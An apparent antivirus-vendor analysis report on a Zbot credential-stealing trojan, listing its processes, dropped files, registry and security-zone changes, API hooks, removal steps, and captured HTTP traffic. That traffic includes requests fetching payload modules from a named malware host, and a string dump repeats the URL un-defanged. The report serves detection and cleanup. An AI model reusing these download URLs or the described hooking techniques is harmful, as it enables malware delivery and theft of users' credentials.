TrojanPSW.Win32.Zbot_fb36bc3562

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan-PSW creates the following process(es):

main.exe:1712
%original file name%.exe:872
dialected.exe:1096
dialected.exe:996
edydx.exe:196
edydx.exe:476

The Trojan-PSW injects its code into the following process(es):

Explorer.EXE:884

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process main.exe:1712 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)

The process %original file name%.exe:872 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\file.bin (5537 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\HelloWorld!.bmp (724132 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\key.txt (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\main.exe (458 bytes)

The Trojan-PSW deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\__tmp_rar_sfx_access_check_1190265 (0 bytes)

The process dialected.exe:1096 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpfb28054a.bat (201 bytes)
%Documents and Settings%\%current user%\Application Data\Queki\edydx.exe (243 bytes)

The process dialected.exe:996 makes changes in the file system.

The Trojan-PSW creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\file.bin (2321 bytes)

Registry activity

The process main.exe:1712 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "25 A2 C9 AD 84 10 40 46 30 4D BA 10 AC 93 A9 0D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\RarSFX0]
"dialected.exe" = "dialected"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process %original file name%.exe:872 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A CD 7C 38 A2 89 F8 F9 D4 3F BD 25 DB DC 6A B8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\RarSFX0]
"main.exe" = "main"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan-PSW modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-PSW modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-PSW modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process dialected.exe:1096 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A 49 A0 B5 CC 29 C2 E9 0D 10 92 FB F0 A4 80 B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process dialected.exe:996 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "67 B7 71 74 88 82 05 7F EE 1C 4D 2B 06 B3 B3 D7"

The process edydx.exe:196 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9D 13 04 94 88 25 9B E2 F9 EF 5F 62 BE 3D 3D A0"

The process edydx.exe:476 makes changes in the system registry.

The Trojan-PSW creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B3 A8 C0 7E AE 5C 8D EB CF E8 B8 8B C8 F2 56 F7"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5	File path
575bb3e9a385602e3caa7a3828cf9569	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Queki\edydx.exe
acc6bc07299aa9f45adbba2451c569dd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\RarSFX0\main.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan-PSW installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan-PSW installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan-PSW installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan-PSW installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   main.exe:1712
   %original file name%.exe:872
   dialected.exe:1096
   dialected.exe:996
   edydx.exe:196
   edydx.exe:476
   

3. Delete the original Trojan-PSW file.
   
4. Delete or disinfect the following files created/modified by the Trojan-PSW:

   %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\dialected.exe (243 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\file.bin (5537 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\HelloWorld!.bmp (724132 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\key.txt (21 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\RarSFX0\main.exe (458 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmpfb28054a.bat (201 bytes)
   %Documents and Settings%\%current user%\Application Data\Queki\edydx.exe (243 bytes)
   %Documents and Settings%\%current user%\Application Data\file.bin (2321 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	71904	72192	4.54088	ead411693117dae8deb088f5bb4a85fa
.rdata	77824	7189	7680	3.37233	e70f56667b8e99a1ec239fd12b1640b4
.data	86016	65324	512	2.43883	11ffdfc240c81dfe9d957f6bf1761f00
.CRT	151552	16	512	0.147711	acdfc3df6b189cbcd09b1c888f95fe9a
.rsrc	155648	16504	16896	3.22639	07900c12e5057f1fe09434dd1b743c9f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 77
80284946036519ada15d3ba9a34f1bf8
3de16d459316d121f44b896767e4f4c9
a3871ef5ee43093314dbe037dbba13ef
96d9965d73d2f5717a1a5dfc9f558d75
88fb49cd4ae60d6a5e9036b8399ee5b2
9d697af13dbb6d554aec40265b3924b7
9dfa98758bc21f3be9c241857d5bc88c
fa4b8bd532752d63ff802c38cb6c97c4
7a45d595beb603e1cfa59ebf682ba3f9
abfb0f1530eda2230623a5022d4255e8
8a7b4ff5717f728c2992894e11e65a66
d0ca61d3e05d7bacf832cf226524e615
e954f2fc4e464a66ee967d173d2a85db
6b0c93ccaa4e3f99a3acf43b4b900af8
4cda024141dcf4233f8cd7f1c1923948
9f43f96c68d367228938971f146bdc1c
4358512a2c3c9d8e5150994839fa0057
5502469ccd2ab84bf80a743d1ff5847d
b007437f4b9a916dedc666cc3f3e1256
657c7ed354bccdd16b37a35995e5bcd5
27b015e9020309e52e2281d40d05c5b2
c4332d7de3dbe5e316f9c8723326757d
8bdfc7c221114939d2cd58b73cd34081
1347fd55eca31326583a06c566328aaf
cdd49571673d7fb9eb33feea0548a14e

Network Activity

URLs

URL	IP
hxxp://vipkredit.com.ua/wp-blog/modules/vipk.bin	91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod1.bin	91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod2.bin	91.197.129.190
hxxp://vipkredit.com.ua/wp-blog/modules/mod3.bin	91.197.129.190
hxxp://www.google.com/webhp	173.194.113.209
hxxp://www.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg	173.194.113.216

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com.ua

Cache-Control: no-cache

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 03 Jul 2014 04:49:29 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=UTF-8

Set-Cookie: PREF=ID=8354d41f3739e51a:FF=0:TM=1404362969:LM=1404362969:S=Aw5odtFHbH_Fdplr; expires=Sat, 02-Jul-2016 04:49:29 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=67=QqK7b8ouOdSgUlzWZ-r-DoEdf-PDMT6w-FkCYvg9iJPIQjUdTPenQkITDYqEdthib2RSb7_fyX1BOHEsPwbriGBNHZL1X1Ed7BhzxVGDfq4htZdr5rg_5j589b9bLyUQ; expires=Fri, 02-Jan-2015 04:49:29 GMT; path=/; domain=.google.com.ua; HttpOnly

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic

Transfer-Encoding: chunked

4bc8..<!doctype html><html itemscope="" itemtype="hXXp://schema.org/WebPage" lang="uk"><head><meta content="text/html; charset=UTF-8" http-equiv="content-type"><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){.window.google={kEI:"2eC0U6nGHInV4QSR4IGgBg",getEI:function(a){for(var c;a&&(!a.getAttribute||!(c=a.getAttribute("eid")));)a=a.parentNode;return c||google.kEI},https:function(){return"https:"==window.location.protocol},kEXPI:"4791,17259,4000116,4007661,4007830,4008142,4009033,4009641,4010806,4010858,4010899,4011228,4011258,4011679,4012373,4012504,4013395,4013414,4013591,4013723,4013787,4013823,4013967,4013979,4014016,4014093,4014431,4014515,4014636,4014671,4014804,4014991,4015234,4015236,4015260,4015266,4015550,4015587,4015633,4015772,4015989,4016097,4016127,4016309,4016367,4016372,4016487,4016824,4016855,4016976,4017162,4017204,4017280,4017285,4017544,4017554,4017595,4017612,4017639,4017681,4017694,4017710,4017742,4017818,4017881,4017894,4017902,4017913,4017981,4018009,4018019,4018030,4018126,4018159,4018283,4018363,4018411,4018416,4018480,4018511,4018519,4018532,4018542,4018554,4018569,4018621,4018638,4018758,4018914,4018923,4018933,4019005,4019017,4019074,4019084,4019089,4019142,4019181,4019184,4019191,4019200,4019205,4019268,4019281,4019339,4019415,4019423,4019427,4019429,4019438,4019590,4019661,8300012,8300027,8300029,8300057,8500223,8500256,8500272,8500306,8500357,8500365,8500394,8500421,8500433,85

<<

<<< skipped >>>

GET /webhp HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.google.com

Cache-Control: no-cache

HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg

Content-Length: 267

Date: Thu, 03 Jul 2014 04:49:29 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg">here</A>...</BODY></HTML>..HTTP/1.1 302 Found..Cache-Control: private..Content-Type: text/html; charset=UTF-8..Location: hXXp://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg..Content-Length: 267..Date: Thu, 03 Jul 2014 04:49:29 GMT..Server: GFE/2.0..Alternate-Protocol: 80:quic..<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 Moved</H1>.The document has moved.<A HREF="http://VVV.google.com.ua/webhp?gfe_rd=cr&ei=2eC0U-S3FMyk8weL44HQDg">here</A>...</BODY></HTML>....

GET /wp-blog/modules/mod1.bin HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

Host: vipkredit.com.ua

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 03 Jul 2014 04:49:04 GMT

Server: Apache

Last-Modified: Sat, 05 Oct 2013 05:44:34 GMT

Accept-Ranges: bytes

Content-Length: 9216

Connection: close

Content-Type: application/octet-stream

...w......q...\......hl..H`..6...;X{.L..C...h.s<.~..>....i`..275a..........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:...V*..*..........i ..o.aH........%I..i....V.._w[%...|.3.K...k...;.;X{.L..C...h.s<..V?2.....n*...m..I..\.q..~2.,...g...P......%0M..8b.............oc.......8.P..mJ...(*I\..{....;.r. ....dC.d*:W.....13.j..g1d.F..e....l....s....u.;X{.L..C...h.s<...$...O...'t<...;X{.L..C...h.s<.;X{.L..C...h.s<.X.e.`..&........;X{.L..C...h.s<..........`.....3....Bj.5:p.....B1...MGc3..M}....t.......-m....a.Ab......V.....=.f.j.(j.9.Z$...;.....1. ..9%..n.}d...G..U..J]Q..<..C[g#.{;[....2..5.0..D.n..(.K..-ig....j.|...;..;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<l..1[...7u_...d.2....lC....<~.K................n.A..c8..>....Y&.l..g.#x.../...<.V4......f.....V..d...l./.3|.R,RQ..GO...e.H....:,>G.)...*5.&.s.(..T..E..o...2'..E..nF...x.K...z......p.2.A.)..k7....<.}]H.2.W~EuO.........Y..'..a8.?/..?......9>8`.7M3...h7 ..U.F...kt....o.?...{.\.(.&....{....B.......;^.i.!/.M...a..I....Y.N-#a.....7C16D.. ...As..=~..yB..5.b.@K..]...I...T.M... ".wf..X..E.i T;.....

<<

<<< skipped >>>

GET /wp-blog/modules/mod2.bin HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

Host: vipkredit.com.ua

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 03 Jul 2014 04:49:04 GMT

Server: Apache

Last-Modified: Sat, 05 Oct 2013 05:45:02 GMT

Accept-Ranges: bytes

Content-Length: 8704

Connection: close

Content-Type: application/octet-stream

...w......q...\......hl..H`..6...;X{.L..C...h.s<.~..>....i`..275a..........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:..W..p....'N."...1.dq;x........N$...A...w.Fh..c|..8u..4:)R..`...]..;X{.L..C...h.s</{g.A.s.q%...W...,.8V...sg.X'..........;K,;....(.......p3-S....Hoc.......8.P..mJ}.7.....A!*>...Lr. ....dC.d*:W..z..n.=7.@....M...'.......?Q...{..;X{.L..C...h.s<$.O8T.W(...h.4N..;X{.L..C...h.s<.;X{.L..C...h.s<.H.Z.f~.x..3...0.;X{.L..C...h.s<..........`......'.@B.O.GI....=.B1...MGc3..M}...D=..l.[..Z7v...f6....6w..,)|.....f.j.(j.9.Z$...;*.....X.\ek6.8.?}d...G..U..J]Q..T:....U..J....3..S.-b..ZN.T.Ci...-ig....j.|...;..;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.Q#|iZ..GI.'..5......{...J`..8{........6.!.D'......../cu...A.O....R3....XZ.[.Fb.......t.. 7.).. @...C.1.F.J..."..0n.8D...,.....G.Q1w......ml...cjAT..V .od.Gy.x...............'.].GK.$$...{..r.\5.3N..@.t.8^..w...Z.b.&..yY>..=..@..\X.UZX..ktc.[..:......#/...j.....m..@(...U.S.........[.&.-..tX6....k.@B...j.z.$............ <ZO.o..3.....9Q9w.......oTb.yj.2.x......{ Pu..........E!.'.s..S.XR...%Q.j.........p..,.

<<

<<< skipped >>>

GET /wp-blog/modules/mod3.bin HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

Host: vipkredit.com.ua

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 03 Jul 2014 04:49:04 GMT

Server: Apache

Last-Modified: Sat, 05 Oct 2013 05:45:58 GMT

Accept-Ranges: bytes

Content-Length: 8192

Connection: close

Content-Type: application/octet-stream

...w......q...\......hl..H`..6...;X{.L..C...h.s<..52....~...{...a..........n...._.J..}l).....k.t8..T.....?....A):.nLG.z$...8.:..R...zl/?}&...yU..J.~..f1@...bK..V....V2. ..al.D....K..}J...' ....;X{.L..C...h.s<.}.....V2LkV..O&3^..\1.D...@.}..g.Ez...2..2. t.[C..I.K'.....s-)q[m.@.bS.&.WT.....}..]e.`............i..KpZ.o....:/B..WV?b.......5D..M.^e.3.S7)...;X{.L..C...h.s<..].k....x.x.....;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<...D......5.L&.Y.;X{.L..C...h.s<&.....^....-.....$^..F..k-.7..]|?4z#.......-..9?..!....Li..........@'h..T1....Y.uW....c.a..l....Ph.R..........F...iD.Q@....{4.....U.......Rz....2..'P.....cj.*...;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<.;X{.L..C...h.s<y`(.Q...1......v..).S....8...{...|x.JtlOS..e.'.$<K....T.f..................&.h-.}?&..?y...|..R.Mi...^=..P.M..Ge...^!..-..... ..6.I.}L....@.J..4g#P^J..I.....eKY`.H0.......y.R..bi=...-I^H../..dU...4N@.M).....A...p2~.....&..8......>.....?~.!.b.iR..Ff.R...s.M."...7.."....Ny....{.9.E...@'...=.....G....\. ..k.I.<..M_*6,.....d.....F....\...uA1 .b.".l..~..mE ..W.5.H.rQ....,Z....?...0"....s.....{H....zX...s.G.z..

<<

<<< skipped >>>

GET /wp-blog/modules/vipk.bin HTTP/1.1

Accept: */*

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

Host: vipkredit.com.ua

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 03 Jul 2014 04:48:58 GMT

Server: Apache

Last-Modified: Fri, 06 Jun 2014 12:53:24 GMT

Accept-Ranges: bytes

Content-Length: 1088

Connection: close

Content-Type: application/octet-stream

.(.m.p..K.....*..Y.crh.|I..4..w.L......>E..D.C...%.z../....=........?[b.....l.R..Y.uC....=G.....k.......M9.\).....$.U.......#ate...c.7.1...,@..@.....e.......9.:.....|.A........S!......z1Rc|...f.]....q.b C....H.i...297.f8?.3...$.g.....,....?...>&..H^r^\Y..f_....7.!..3.l.....{.!L...S..a...b...V.,$./....s...3.GK.......`..J>'oe>\...]..%..T.D2<D..U..TV.(.G.....D.3.~. ..KG.....D.3.~. ..KG.....D.3.~. ..KG.....D.3.~. ..KG.....D.3.~. ..KG.....D.3.~. ..Kb.,b.;....C~d...W...NXc....uU.....5n9...`0....<.C...h.n...... ..M>6...M>....~X.J.D....F.{i0V.(.B..U$..?.z..yn;.L..U$..?.z..yn;.L..U$..?.z..yn;.L..U$..?.z..yn;.L..U$..?.z..yn;.L..U$..?.z..yn;.L.......|tp.xjj.......;o....g....rb.a.F.5..zv[........x.v0.).4....3.....o.97{....Q.l%...Q...z.K..Q.l%...Q...z.K..Q.l%...Q...z.K..Q.l%...Q...z.K..Q.l%...Q...z.K..Q.l%...Q...z.K..Q.l%...Q...z.K..[Jm.8......].pu.....Tg....C.!.h5...o..>..'s!.i..bAg./..;...."....OoOq&f.T. .........u.......... !._..z..S..PO.M.O,u8..z.JA4.. [H......4..L......lg:....}._..z.....`...i.4D..S....g...N.6e.K...:.....Z..S.o%..4....V..T..2.k\.K.... s.......v.a.d.CQ..n..\...G7[...

Map

The Trojan-PSW connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_884_rwx_01CA0000_0002C000:

.text

.text

`.data

`.data

.reloc

.reloc

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

ole32.dll

ole32.dll

gdi32.dll

gdi32.dll

HTTP/1.1

HTTP/1.1

http://vipkredit.com.ua/wp-blog/modules/vipk.bin

http://vipkredit.com.ua/wp-blog/modules/vipk.bin

Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2)

pufjwdx.jvh

pufjwdx.jvh

" !=%(>";;

" !=%(>";;

=225;6%%7!=

=225;6%%7!=

3:6 1*7=$;-

3:6 1*7=$;-

*4*-0*1?7!

*4*-0*1?7!

MK[(bocmdgs

MK[(bocmdgs

15#77??68.

15#77??68.

&'/( <99

&'/( <99

$!*4,#)<:

$!*4,#)<:

mfh{g~amzgs.dgg

mfh{g~amzgs.dgg

:; 1299;2

:; 1299;2

>.Rdd

>.Rdd

<-?><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>urlmon.dll</pre><pre>cabinet.dll</pre><pre>http://</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>http://www.google.com/webhp</pre><pre>t7SSSh</pre><pre>t"SSSh</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>MapVirtualKeyW</pre><pre>ExitWindowsEx</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>SetKeyboardState</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegEnumKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>PFXImportCertStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetCrackUrlA</pre><pre>HttpOpenRequestA</pre><pre>HttpAddRequestHeadersA</pre><pre>HttpSendRequestA</pre><pre>HttpSendRequestExA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>u4P%u</pre><pre>=?>#?.?;?</pre><pre>9%9)9/939</pre><pre>SysShadow</pre><pre>kernel32.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>cGlobal\XXX</pre><pre>Global\{A4046B38-BFBA-AD62-880A-CFE035797B74}</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{9C299170-5427-1343-B5A2-D98D6C76A4CD}</pre><pre>%Documents and Settings%\%current user%\Application Data\Koal\yfet.icl</pre><pre>%Documents and Settings%\%current user%\Application Data\Koal</pre><pre>yfet.icl</pre></-?>